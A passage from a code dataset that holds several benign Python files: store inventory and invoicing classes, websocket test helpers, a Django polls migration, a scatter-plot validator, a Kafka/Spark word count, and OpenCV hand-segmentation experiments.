else:\n Report.not_found(self, item=item_to_sell)\n return False, None\n\n def balance(self, journal, item=None, balance_time=None):\n if item and balance_time and item in self._stock:\n past_balance = self._stock[item] \\\n + Report.sales_by_items(self, journal=journal, filter_item=item, date1=balance_time) \\\n - Report.items_replenished(self, filter_item=item, journal=journal, date1=balance_time)\n return past_balance\n if item and not balance_time and item in self._stock:\n return self._stock[item]\n if item is None:\n return self._stock\n else:\n Report.not_found(self, item=item)\n return False, None\n\n\nclass Item:\n _last_id = 0\n\n def __init__(self, name, description, purchase_price, sell_price):\n Item._last_id += 1\n self.id = Item._last_id\n self.name = name\n self.description = description\n self.purchase_price = purchase_price\n self.sell_price = sell_price\n\n def print_info(self):\n print(\"Name: \", self.name)\n print(\"ID: \", self.id)\n print(\"Description: \\\"{}\\\"\".format(self.description))\n print(\"Purchase price: \", self.purchase_price)\n print(\"Sell price: \", self.sell_price)\n\n\nclass Electronics(Item):\n\n def __init__(self, name, description, purchase_price, sell_price, energy_class):\n super().__init__(name, description, purchase_price, sell_price)\n self.energy_class = energy_class\n\n\nclass Clothes(Item):\n\n def __init__(self, name, description, purchase_price, sell_price, size):\n super().__init__(name, description, purchase_price, sell_price)\n self.size = size\n\n\nclass Foods(Item):\n\n def __init__(self, name, description, purchase_price, sell_price, expiry_date):\n super().__init__(name, description, purchase_price, sell_price)\n self.expiry_date = expiry_date\n\n\nclass Report:\n _last_report_id = 0\n\n def __init__(self):\n Report._last_report_id += 1\n self.id = Report._last_report_id\n\n # date parameter must be in datetime.date() format\n def sales_by_items(self, journal, filter_item, date1=None, date2=None):\n\n amount_of_sold_items = 0\n\n if date1 and date2 and filter_item:\n for invoice in journal.invoices:\n if invoice.item.name == filter_item.name:\n if date1 < invoice.time_of_invoice < date2:\n amount_of_sold_items += invoice.quantity_sold\n\n if date1 and filter_item and not date2:\n for invoice in journal.invoices:\n if invoice.item.name == filter_item.name:\n if date1 < invoice.time_of_invoice:\n amount_of_sold_items += invoice.quantity_sold\n\n if date2 and filter_item and not date1:\n for invoice in journal.invoices:\n if invoice.item.name == filter_item.name:\n if invoice.time_of_invoice < date2:\n amount_of_sold_items += invoice.quantity_sold\n\n if filter_item and not date1 and not date2:\n for invoice in journal.invoices:\n if invoice.item.name == filter_item.name:\n amount_of_sold_items += invoice.quantity_sold\n\n return amount_of_sold_items\n\n def items_replenished(self, journal, filter_item, date1=None, date2=None):\n\n amount_of_replenished_items = 0\n\n if date1 and date2 and filter_item:\n for log_entry in journal.replenishment_log:\n if log_entry.item.name == filter_item.name:\n if date1 < log_entry.item < date2:\n amount_of_replenished_items += log_entry.quantity_added\n\n if date1 and filter_item and not date2:\n for log_entry in journal.replenishment_log:\n if log_entry.item.name == filter_item.name:\n if date1 < log_entry.time:\n amount_of_replenished_items += log_entry.quantity_added\n\n if date2 and filter_item and not date1:\n for log_entry in journal.replenishment_log:\n if log_entry.item.name == filter_item.name:\n if log_entry.time < date2:\n amount_of_replenished_items += log_entry.quantity_added\n\n if filter_item and not date1 and not date2:\n for log_entry in journal.replenishment_log:\n if log_entry.item.name == filter_item.name:\n amount_of_replenished_items += log_entry.quantity_added\n\n return amount_of_replenished_items\n\n def print_stock(self, stock):\n print()\n print(\"*\" * 20)\n if stock:\n print(\"Stock:\")\n for item in stock:\n print(item.name, \":\", stock[item])\n else:\n print(\"Stock is empty\")\n print(\"*\" * 20)\n\n def print_item(self, store, item):\n print()\n print(\"*\" * 20)\n try:\n print(\"Currently {} pcs of {} in stock\".format(store._stock[item], item.name))\n except KeyError:\n print(\"Currently no {} in stock\".format(item))\n print(\"*\" * 20)\n\n def print_invoice(self, invoices):\n try:\n print(\"Invoices:\")\n print()\n for invoice in invoices:\n print(\n \"Invoice ID: {}\"\n \"\\nTime: {}\"\n \"\\nItem: {}\"\n \"\\nQuantity sold: {}\".format(invoice.records['ID'], invoice.records['Time'],\n invoice.records['Item'], invoice.records['Quantity']))\n print()\n except TypeError:\n print(\n \"Invoice ID: {}\"\n \"\\nTime: {}\"\n \"\\nItem: {}\"\n \"\\nQuantity sold: {}\".format(invoices.records['ID'], invoices.records['Time'],\n invoices.records['Item'], invoices.records['Quantity']))\n print()\n\n def print_replenishment_log(self, journal):\n print(\"Replenishment log:\")\n for log_entry in journal.replenishment_log:\n print(\n \"\\nTime: {}\"\n \"\\nItem: {}\"\n \"\\nQuantity added: {}\"\n \"\\nPurchase price: {}\".format(log_entry.records['Time'], log_entry.records['Item'].name,\n log_entry.records['Quantity_added'], log_entry.records['Purchase price']))\n print()\n\n\n\n def not_found(self, item):\n print(\"{} was not found in the stock or not enough pcs in stock\".format(item.name))\n\n\nclass SaleInvoiceJournal:\n _last_journal_id = 0\n\n def __init__(self, journal_name):\n SaleInvoiceJournal._last_journal_id += 1\n self.id = SaleInvoiceJournal._last_journal_id\n self.journal_name = journal_name\n self.invoices = []\n self.replenishment_log = []\n\n def get_invoices(self, date1=None, date2=None):\n if date1 and date2:\n for invoice in self.invoices:\n if date1 < invoice.time_of_invoice.date() < date2:\n yield invoice\n if date1 and not date2:\n for invoice in self.invoices:\n if date1 < invoice.time_of_invoice.date():\n yield invoice\n if date2 and not date1:\n for invoice in self.invoices:\n if invoice.time_of_invoice.date() < date2:\n yield invoice\n\n def get_replenishment_log(self, date1=None, date2=None):\n if date1 and date2:\n for log_entry in self.replenishment_log:\n if date1 < log_entry.time_of_invoice.date() < date2:\n yield log_entry\n if date1 and not date2:\n for log_entry in self.invoices:\n if date1 < log_entry.time_of_invoice.date():\n yield log_entry\n if date2 and not date1:\n for log_entry in self.invoices:\n if log_entry.time_of_invoice.date() < date2:\n yield log_entry\n\n def add_invoice(self, journal, store, new_invoice):\n balance_before = store.balance(journal, item=new_invoice.item, balance_time=new_invoice.time_of_invoice)\n if new_invoice.quantity_sold <= balance_before: # in case the function called by user\n if journal.invoices:\n post_quantity_sold_total = 0\n for invoice in journal.invoices:\n if invoice.time_of_invoice > new_invoice.time_of_invoice and new_invoice.item == invoice.item.name:\n post_quantity_sold_single_invoice = invoice.quantity_sold\n post_quantity_sold_total += post_quantity_sold_single_invoice\n if post_quantity_sold_total > balance_before - new_invoice.quantity_sold:\n Report.not_found(self, item=new_invoice.item)\n return False, None\n else:\n journal.invoices.append(new_invoice)\n else:\n journal.invoices.append(new_invoice)\n return new_invoice\n else:\n Report.not_found(self, item=new_invoice.item)\n return False, None\n\n def add_replenishment_log_entry(self, journal, new_log_entry):\n journal.replenishment_log.append(new_log_entry)\n return journal.replenishment_log\n\n\n def remove_invoice(self, invoice_id):\n for invoice in self.invoices:\n if invoice.id == invoice_id:\n self.invoices.remove(invoice)\n\n\nclass LogEntry:\n\n def __init__(self, time, item, quantity_added):\n self.records = {}\n self.time = time\n self.item = item\n self.quantity_added = quantity_added\n self.records.update({\"Time\": self.time, \"Item\": self.item, \"Quantity_added\": self.quantity_added, \"Purchase price\": item.purchase_price})\n\n\nclass Invoice:\n last_invoice_id = 0\n\n def __init__(self, time_of_invoice, item, quantity_sold):\n self.records = {}\n Invoice.last_invoice_id += 1\n self.id = self.last_invoice_id\n self.time_of_invoice = time_of_invoice\n self.item = item\n self.quantity_sold = quantity_sold\n self.sell_price = item.sell_price\n self.records.update({\"ID\": self.id, \"Time\": self.time_of_invoice,\n \"Item\": [self.item.name], \"Quantity\": [self.quantity_sold], \"Sell price\": [self.sell_price]})\n\n def add_item_to_invoice(self, item, quantity, replenishment_journal):\n for entry in replenishment_journal.replenishment_log:\n if entry.item.name == item.name:\n self.records['Item'].append(item.name)\n self.records['Quantity'].append(quantity)\n self.records['Sell price'].append(item.sell_price)\n break\n else:\n Report.not_found(self, item=item)\n return False, None\n\n def remove_item_from_invoice(self, item):\n if item.name in self.records['Item']:\n item_index = self.records['Item'].index(item.name)\n self.records['Item'].remove(item.name)\n self.records['Quantity'].remove(self.records['Quantity'][item_index])\n self.records['Sell price'].remove(item.sell_price)\n else:\n Report.not_found(self, item=item)\n return False, None\n\n def print_info(self, invoices):\n Report.print_invoice(invoices=invoices)\n\n\nnew_store = Store(store_name='Carefour')\nnew_journal = SaleInvoiceJournal(journal_name=\"Accountant's journal\")\nnew_report = Report()\n\nBook = Item(name='Lord of the Rings', description='Adventure', purchase_price=12, sell_price=14)\nMobile = Electronics(name='Nokia', description='8800', purchase_price=150, sell_price=200, energy_class='A1')\nMilk = Foods(name='Good milk', description='cow milk', purchase_price=4, sell_price=8,\n expiry_date=datetime.date(year=2018, month=4, day=19))\n\nnew_store.add_item(journal=new_journal, item_to_add=Milk, quantity_to_add=10)\nnew_store.add_item(journal=new_journal, item_to_add=Book, quantity_to_add=5)\n# new_store.add_item(journal=new_journal, item_to_add=Mobile, quantity_to_add=10)\n\nnew_store.sell_item(journal_for_invoice=new_journal, item_to_sell=Book, quantity_to_sell=1)\n# new_store.sell_item(journal_for_invoice=new_journal, item_to_sell=Mobile, quantity_to_sell=300)\nnew_store.sell_item(journal_for_invoice=new_journal, item_to_sell=Milk, quantity_to_sell=1)\nnew_store.sell_item(journal_for_invoice=new_journal, item_to_sell=Milk, quantity_to_sell=1)\n\nnew_list_of_invoices = new_journal.get_invoices(date1=datetime.date(2017, 1, 1), date2=datetime.date(2019, 1, 1))\n\nnew_invoice = Invoice(item=Book, quantity_sold=1,\n time_of_invoice=datetime.datetime(year=2018, month=4, day=11, hour=12, minute=30, second=0, microsecond=0))\nnew_journal.add_invoice(journal=new_journal, new_invoice=new_invoice, store=new_store)\n\nmy_new_invoice = Invoice(item=Mobile, quantity_sold=23, time_of_invoice=datetime.datetime(year=2015, month=4, day=11, hour=12, minute=30, second=0, microsecond=0))\nmy_new_invoice.add_item_to_invoice(item=Book, quantity=123, replenishment_journal=new_journal)\nnew_report.print_invoice(my_new_invoice)\n# new_report.print_invoice(invoices=new_list_of_invoices)","sub_path":"task_36.py","file_name":"task_36.py","file_ext":"py","file_size_in_byte":14513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"597478977","text":"import asyncio\nfrom concurrent.futures import TimeoutError\nfrom time import time\n\nfrom further_link.util.message import parse_message\n\n\n# this allows for the data to be split into multiple messages\nasync def receive_data(ws, channel, data_key=None, data_value=None, process=\"\"):\n received = \"\"\n # receive until we have enough data, or until return if non string data\n # receive has a timeout so if we don't get enough it will throw anyway\n while (not isinstance(data_value, str)) or len(received) < len(data_value):\n m_type, m_data, m_process = parse_message((await ws.receive()).data)\n\n assert m_process == process, f\"{m_process} != {process}, {m_type}, {m_data}\"\n assert m_type == channel, f\"{m_type} != {channel}\\ndata: {m_data}\"\n\n # return if not looking for specific data\n if data_key is None:\n return\n\n assert m_data.get(data_key) is not None, f\"{m_data}\"\n\n # if data_value is not string, it should all come in one go\n if not isinstance(data_value, str):\n assert data_value == m_data[data_key]\n return\n\n received += m_data[data_key]\n\n assert received == data_value\n\n\n# this also allows for delay before receiving begins, beyond default timeout\nasync def wait_for_data(\n ws, channel, data_key=None, data_value=None, timeout=0, process=\"\"\n):\n start_time = round(time())\n while timeout <= 0 or (round(time()) - start_time) <= timeout:\n try:\n message = await ws.receive()\n m_type, m_data, m_process = parse_message(message.data)\n\n assert m_process == process, f\"{m_process} != {process}\"\n assert m_type == channel, f\"{m_type} != {channel}\\ndata: {m_data}\"\n\n # return if not looking for specific data\n if data_key is None:\n return\n\n assert m_data.get(data_key) is not None, f\"{m_data}\"\n\n if data_value is None:\n return\n\n # m_data[data_key] should be at least the start of our data_value\n # equality check here for non string values\n value = m_data[data_key]\n assert data_value == value or data_value.startswith(value), value\n\n # return if it's all the data\n if data_value == value:\n return\n\n # use receive_data to gather rest\n remaining_data = data_value.replace(value, \"\", 1)\n return await receive_data(ws, channel, data_key, remaining_data)\n except (TimeoutError, asyncio.TimeoutError):\n continue\n raise TimeoutError\n","sub_path":"tests/e2e/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"41576732","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.utils.timezone\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Choice',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('choice_text', models.CharField(max_length=200)),\n ],\n ),\n migrations.CreateModel(\n name='ChoiceVote',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('vote', models.BooleanField(default=True)),\n ('timestamp', models.DateTimeField(default=django.utils.timezone.now)),\n ('choice', models.ForeignKey(related_name='choice_vote', to='polls.Choice')),\n ],\n ),\n migrations.CreateModel(\n name='Question',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('question_text', models.CharField(max_length=200)),\n ('pub_date', models.DateTimeField(verbose_name=b'date published')),\n ],\n ),\n migrations.AddField(\n model_name='choicevote',\n name='question',\n field=models.ForeignKey(related_name='question_vote', to='polls.Question'),\n ),\n migrations.AddField(\n model_name='choicevote',\n name='user',\n field=models.ForeignKey(related_name='user_vote', to=settings.AUTH_USER_MODEL),\n ),\n migrations.AddField(\n model_name='choice',\n name='question',\n field=models.ForeignKey(related_name='question_choice', to='polls.Question'),\n ),\n ]\n","sub_path":"apiss/apps/polls/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"402409399","text":"# -*- coding: utf-8 -*-\n# MIT License\n# \n# Copyright (c) 2018 ZhicongYan\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ==============================================================================\n\n\nimport os\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\n\nfrom .base_validator import BaseValidator\n\nclass ScatterPlot(BaseValidator):\n\t\n\tdef __init__(self, config):\n\t\n\t\tsuper(ScatterPlot, self).__init__(config)\n\t\tself.assets_dir = config['assets dir']\n\t\tself.log_dir = config.get('log dir', 'scatter')\n\t\tself.log_dir = os.path.join(self.assets_dir, self.log_dir)\n\n\t\tself.x_dim = int(config.get('x dim', 0))\n\t\tself.y_dim = int(config.get('y dim', 1))\n\n\t\tif not os.path.exists(self.log_dir):\n\t\t\tos.mkdir(self.log_dir)\n\n\t\tself.watch_variable = config.get('watch variable', 'pred')\n\t\tself.distribution = config.get('distribution', 'normal')\n\n\tdef validate(self, model, dataset, sess, step):\n\n\t\tx_pos_array = []\n\t\ty_pos_array = []\n\t\tlabel_array = []\n\n\t\tfor ind, batch_x, batch_y in dataset.iter_val_images():\n\t\t\tif self.watch_variable == 'pred':\n\t\t\t\ty_pred = model.predict(sess, batch_y)\n\t\t\t\tx_pos_array.append(y_pred[:, self.x_dim])\n\t\t\t\ty_pos_array.append(y_pred[:, self.y_dim])\n\t\t\t\tlabel_array.append(np.argmax(batch_y, axis=1))\n\n\t\t\telif self.watch_variable == 'hidden dist':\t\n\t\t\t\tif self.distribution == 'normal':\n\t\t\t\t\tz_mean, z_log_var = model.hidden_variable(sess, batch_x)\n\t\t\t\t\tx_pos_array.append(\n\t\t\t\t\t\tnp.concatenate([\tz_mean[:, self.x_dim:self.x_dim+1], \n\t\t\t\t\t\t\t\t\t\t\tnp.exp(z_log_var[:, self.x_dim:self.x_dim+1]) ], axis=1)\n\t\t\t\t\t)\n\t\t\t\t\ty_pos_array.append(\n\t\t\t\t\t\tnp.concatenate([\tz_mean[:, self.y_dim:self.y_dim+1], \n\t\t\t\t\t\t\t\t\t\t\tnp.exp(z_log_var[:, self.y_dim:self.y_dim+1]) ], axis=1)\n\t\t\t\t\t)\n\t\t\t\t\tlabel_array.append(np.argmax(batch_y, axis=1))\n\t\t\t\telif self.distribution == 'none':\n\t\t\t\t\tz_sample = model.hidden_variable(sess, batch_x)\n\t\t\t\t\tx_pos_array.append(z_sample[:, self.x_dim])\n\t\t\t\t\ty_pos_array.append(z_sample[:, self.y_dim])\n\t\t\t\t\tlabel_array.append(np.argmax(batch_y, axis=1))\n\t\t\telse:\n\t\t\t\traise Exception(\"None watch variable named \" + self.watch_variable)\n\n\n\t\tx_pos_array = np.concatenate(x_pos_array, axis=0)\n\t\ty_pos_array = np.concatenate(y_pos_array, axis=0)\n\t\tlabel_array = np.concatenate(label_array, axis=0)\n\n\t\tif len(x_pos_array.shape) == 2:\n\t\t\tfor i in range(x_pos_array.shape[1]):\n\t\t\t\tplt.figure(figsize=(6, 6))\n\t\t\t\tplt.clf()\n\t\t\t\tplt.scatter(x_pos_array[:, i], y_pos_array[:, i], c=label_array)\n\t\t\t\tplt.colorbar()\n\t\t\t\tplt.savefig(os.path.join(self.log_dir, '%07d_%d.png'%(step, i)))\n\t\telse:\n\t\t\tplt.figure(figsize=(6, 6))\n\t\t\tplt.clf()\n\t\t\tplt.scatter(x_pos_array, y_pos_array, c=label_array)\n\t\t\tplt.colorbar()\n\t\t\tplt.savefig(os.path.join(self.log_dir, '%07d.png'%step))\n\t\treturn None\n\n\n","sub_path":"validator/scatter_plot.py","file_name":"scatter_plot.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"69417059","text":"from __future__ import print_function\n\nimport sys\n\nfrom pyspark import SparkContext\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage: direct_kafka_wordcount.py \", file=sys.stderr)\n exit(-1)\n\n sc = SparkContext(appName=\"PythonStreamingDirectKafkaWordCount\")\n ssc = StreamingContext(sc, 20)\n\n brokers, topic = sys.argv[1:]\n kvs = KafkaUtils.createDirectStream(ssc, [topic], {\"metadata.broker.list\": brokers})\n lines = kvs.map(lambda x: x[1])\n # counts = lines.flatMap(lambda line: line.split(\" \")) \\\n # .map(lambda word: (word, 1)) \\\n # .reduceByKey(lambda a, b: a+b)\n # counts.pprint()\n\n words = lines.flatMap(lambda line: line.split(\" \"))\n print(type(words))\n # df1 = words.toDF()\n # df1.show()\n words.pprint()\n\n ssc.start()\n ssc.awaitTermination()\n\n## My RUNNING test\n# /home/kafka/Downloads/spark-2.2.1-bin-hadoop2.7/bin/spark-submit --packages org.apache.spark:spark-streaming-kafka-0-8_2.11:2.2.0 Kafka_Spark_Test.py localhost:9092 test1\n","sub_path":"Kafka_Spark_Test.py","file_name":"Kafka_Spark_Test.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"494931562","text":"import cv2\nimport numpy as np\n\ndef getContours(img, imgContour):\n contours, hierarchy = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # Trouve extreme outter* contour\n if not contours:\n return\n area = []\n for cnts in contours:\n area.append(cv2.contourArea(cnts))\n \n max_area = np.max(area)\n max_arg = np.argmax(area)\n cnt = contours[max_arg]\n cv2.drawContours(imgContour, cnt, -1, (255,0,0), 3) #-1: draw all contours\n peri = cv2.arcLength(cnt, True)\n approx = cv2.approxPolyDP(cnt, 0.02*peri, True) # Approxime nombre de coins\n x, y, w, h = cv2.boundingRect(approx)\n cv2.rectangle(imgContour, (x,y), (x+w, y+h), (0,255,0), 2)\n #cv2.putText(imgContour,\"Area: {}\".format(max_area),(x+(w//2)-10, y+(h//2)-10), cv2.FONT_HERSHEY_COMPLEX, 0.5, (0,0,0),2)\n return x,y,w,h\n\n# Méthode qui fontionne le mieux!\ndef segmentation_contour(img):\n # Ajout d'un temps de repos\n imgContour = img.copy()\n imgFinal = img.copy()\n imgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n h_min = 0\n h_max = 19\n s_min = 21\n s_max = 255\n v_min = 29\n v_max = 255\n lower = np.array([h_min, s_min, v_min])\n upper = np.array([h_max, s_max, v_max])\n mask = cv2.inRange(imgHSV, lower, upper)\n imgBlur = cv2.blur(mask,(5,5))\n imgBlur = cv2.morphologyEx(imgBlur, cv2.MORPH_CLOSE, (7,7))\n x, y, w, h = 0,0,0,0\n x, y, w, h = getContours(imgBlur, imgContour)\n if h > w:\n imgFinal = imgFinal[y:y+h, x:x+h]\n else:\n imgFinal = imgFinal[y:y+w, x:x+w]\n # print(\"Taille image finale {}\".format(imgFinal.shape))\n return imgFinal\n\n##############################################################################################################################\n##############################################################################################################################\n# TESTS #\n##############################################################################################################################\n##############################################################################################################################\ndef modify_image_format(img):\n # Pas sûr que c'est la meilleure façon, en parler avec les gars\n Y = img.shape[0]\n X = img.shape[1]\n maximum = max(Y,X)\n imgResize = np.ones([maximum,maximum,3],dtype=np.uint8)*255\n imgResize[0:Y,0:X,0:3] = img\n return imgResize\n\n# Color Detection\ndef empty(a):\n pass\n\ndef stackImages(scale,imgArray):\n \"\"\"\n Stack tous les types d'image ensemble. Permet aussi de les scale\n \"\"\"\n rows = len(imgArray)\n cols = len(imgArray[0])\n rowsAvailable = isinstance(imgArray[0], list)\n width = imgArray[0][0].shape[1]\n height = imgArray[0][0].shape[0]\n if rowsAvailable:\n for x in range ( 0, rows):\n for y in range(0, cols):\n if imgArray[x][y].shape[:2] == imgArray[0][0].shape [:2]:\n imgArray[x][y] = cv2.resize(imgArray[x][y], (0, 0), None, scale, scale)\n else:\n imgArray[x][y] = cv2.resize(imgArray[x][y], (imgArray[0][0].shape[1], imgArray[0][0].shape[0]), None, scale, scale)\n if len(imgArray[x][y].shape) == 2: imgArray[x][y]= cv2.cvtColor( imgArray[x][y], cv2.COLOR_GRAY2BGR)\n imageBlank = np.zeros((height, width, 3), np.uint8)\n hor = [imageBlank]*rows\n hor_con = [imageBlank]*rows\n for x in range(0, rows):\n hor[x] = np.hstack(imgArray[x])\n ver = np.vstack(hor)\n else:\n for x in range(0, rows):\n if imgArray[x].shape[:2] == imgArray[0].shape[:2]:\n imgArray[x] = cv2.resize(imgArray[x], (0, 0), None, scale, scale)\n else:\n imgArray[x] = cv2.resize(imgArray[x], (imgArray[0].shape[1], imgArray[0].shape[0]), None,scale, scale)\n if len(imgArray[x].shape) == 2: imgArray[x] = cv2.cvtColor(imgArray[x], cv2.COLOR_GRAY2BGR)\n hor= np.hstack(imgArray)\n ver = hor\n return ver\n\n\ndef segmentation_contour_test(img):\n # Ajout d'un temps de repos\n imgContour = img.copy()\n imgFinal = img.copy()\n imgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n h_min = 0\n h_max = 19\n s_min = 21\n s_max = 255\n v_min = 29\n v_max = 255\n lower = np.array([h_min, s_min, v_min])\n upper = np.array([h_max, s_max, v_max])\n mask = cv2.inRange(imgHSV, lower, upper)\n imgBlur = cv2.blur(mask,(5,5))\n imgBlur = cv2.morphologyEx(imgBlur, cv2.MORPH_CLOSE, (7,7))\n x, y, w, h = 0,0,0,0\n x, y, w, h = getContours(imgBlur, imgContour)\n #cv2.imshow(\"Image finale\", imgFinal[y:y+h, x:x+w])\n #imgStack = stackImages(0.7, ([imgBlur], [imgContour]))\n #cv2.imshow(\"Images stack\", imgStack)\n cv2.imshow(\"Masque\", mask)\n return mask, img, imgContour, imgFinal[y:y+h, x:x+w]\n\n## Use Webcam\n#webcam = cv2.VideoCapture(0) # Seule caméra est celle de l'ordi\n#webcam.set(3,640) # id pour le nombre de pixel I guess \n#webcam.set(4,480) # id pour le nombre de pixel I guess\n#webcam.set(10,75) # id pour le brightness\n#while True:\n# sucess, img = webcam.read()\n# mask, img, imgContour, imgFinal = segmentation_contour_test(img)\n# if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n# cv2.imwrite(\"image_mask.png\", mask)\n# cv2.imwrite(\"image_normale.png\", img)\n# cv2.imwrite(\"image_contour.png\", imgContour)\n# cv2.imwrite(\"image_finale.png\", imgFinal)\n# break\n\n## HSV values detection\n#cv2.namedWindow(\"TrackBars\")\n#cv2.resizeWindow(\"TrackBars\", (640,240))\n#cv2.createTrackbar(\"Hue Min\", \"TrackBars\", 0, 179, empty)\n#cv2.createTrackbar(\"Hue Max\", \"TrackBars\", 33, 179, empty)\n#cv2.createTrackbar(\"Saturation Min\", \"TrackBars\", 133, 255, empty)\n#cv2.createTrackbar(\"Saturation Max\", \"TrackBars\", 217, 255, empty)\n#cv2.createTrackbar(\"Value Min\", \"TrackBars\", 173, 255, empty)\n#cv2.createTrackbar(\"Value Max\", \"TrackBars\", 255, 255, empty)\n\ndef segmentation_HSV():\n while True:\n sucess, img = webcam.read()\n imgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n #h_min = cv2.getTrackbarPos(\"Hue Min\", \"TrackBars\")\n #h_max = cv2.getTrackbarPos(\"Hue Max\", \"TrackBars\")\n #s_min = cv2.getTrackbarPos(\"Saturation Min\", \"TrackBars\")\n #s_max = cv2.getTrackbarPos(\"Saturation Max\", \"TrackBars\")\n #v_min = cv2.getTrackbarPos(\"Value Min\", \"TrackBars\")\n #v_max = cv2.getTrackbarPos(\"Value Max\", \"TrackBars\")\n h_min = 0\n h_max = 19\n s_min = 21\n s_max = 255\n v_min = 29\n v_max = 255\n #print(h_min, h_max, s_min, s_max, v_min, v_max)\n lower = np.array([h_min, s_min, v_min])\n upper = np.array([h_max, s_max, v_max])\n mask = cv2.inRange(imgHSV, lower, upper)\n imgResult = cv2.bitwise_and(img, img, mask=mask) # add 2 images ensemble et crée une seule\n imgResult = cv2.cvtColor(imgResult, cv2.COLOR_BGR2GRAY)\n\n imgStack = stackImages(0.7, ([img, imgHSV],[mask, imgResult]))\n cv2.imshow(\"Images Stack\", imgStack)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n \n return imgResult\n\n#image_result = segmentation_HSV()\n#cv2.imshow(\"image\", image_result)\n#cv2.waitKey(0)\n####################################################################################################\nbg = None\ndef run_avg(image, Weight):\n global bg\n # initialize the background\n if bg is None:\n bg = image.copy().astype(\"float\")\n return\n\n # compute weighted average, accumulate it and update the background\n cv2.accumulateWeighted(image, bg, Weight)\n\ndef segment(image, threshold=25):\n global bg\n # find the absolute difference between background and current frame\n diff = cv2.absdiff(bg.astype(\"uint8\"), image)\n\n # threshold the diff image so that we get the foreground\n thresholded = cv2.threshold(diff, threshold, 255, cv2.THRESH_BINARY)[1]\n return thresholded\n\ndef segmentation_substract_background():\n count = True\n Weight = 0.5\n numFrames = 0\n global bg\n clone = webcam.read()\n while True:\n sucess, img = webcam.read()\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n imgBlur = cv2.blur(imgGray, (7,7),0)\n top, right, bottom, left = 10, 350, 225, 590\n if numFrames < 30:\n run_avg(imgBlur, Weight)\n else:\n # segment the hand region\n threshold = segment(imgBlur)\n threshold_petit = threshold[0:350,0:275]\n cv2.imshow(\"Thesholded\", threshold)\n cv2.imshow(\"Thesholded_petit\", threshold_petit)\n numFrames += 1\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\n return threshold_petit\n\n#image_result = segmentation_substract_background()\n#cv2.imshow(\"image\", image_result)\n#cv2.waitKey(0)\n\n#########################################################################################################\n\ndef segmentation_contour_2():\n count = True\n Weight = 0.5\n numFrames = 0\n global bg\n clone = webcam.read()\n while True:\n sucess, img = webcam.read()\n imgContour = img.copy()\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n imgBlur = cv2.blur(imgGray, (3,3),0)\n top, right, bottom, left = 10, 350, 225, 590\n if numFrames < 30:\n run_avg(imgBlur, Weight)\n else:\n # segment the hand region\n threshold = segment(imgBlur)\n threshold_petit = threshold[0:350,0:275]\n imgCanny = cv2.Canny(threshold, 50,40)\n getContours(imgCanny, imgContour)\n imgStack = stackImages(0.7, ([imgCanny], [imgContour]))\n cv2.imshow(\"Images Stack\", imgStack)\n numFrames += 1\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\ndef segmentation_contour_3():\n compte = 0\n while True:\n sucess, img = webcam.read()\n imgContour = img.copy()\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n imgBlur = cv2.blur(imgGray, (3,3))\n imgBlur = cv2.medianBlur(imgBlur,3)\n ret, imgThreshold = cv2.threshold(imgBlur,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n #cv2.imshow(\"threh\", imgThreshold)\n imgCanny = cv2.Canny(imgThreshold, threshold1 = 300, threshold2 = 300)\n x,y,w,h = getContours(imgCanny, 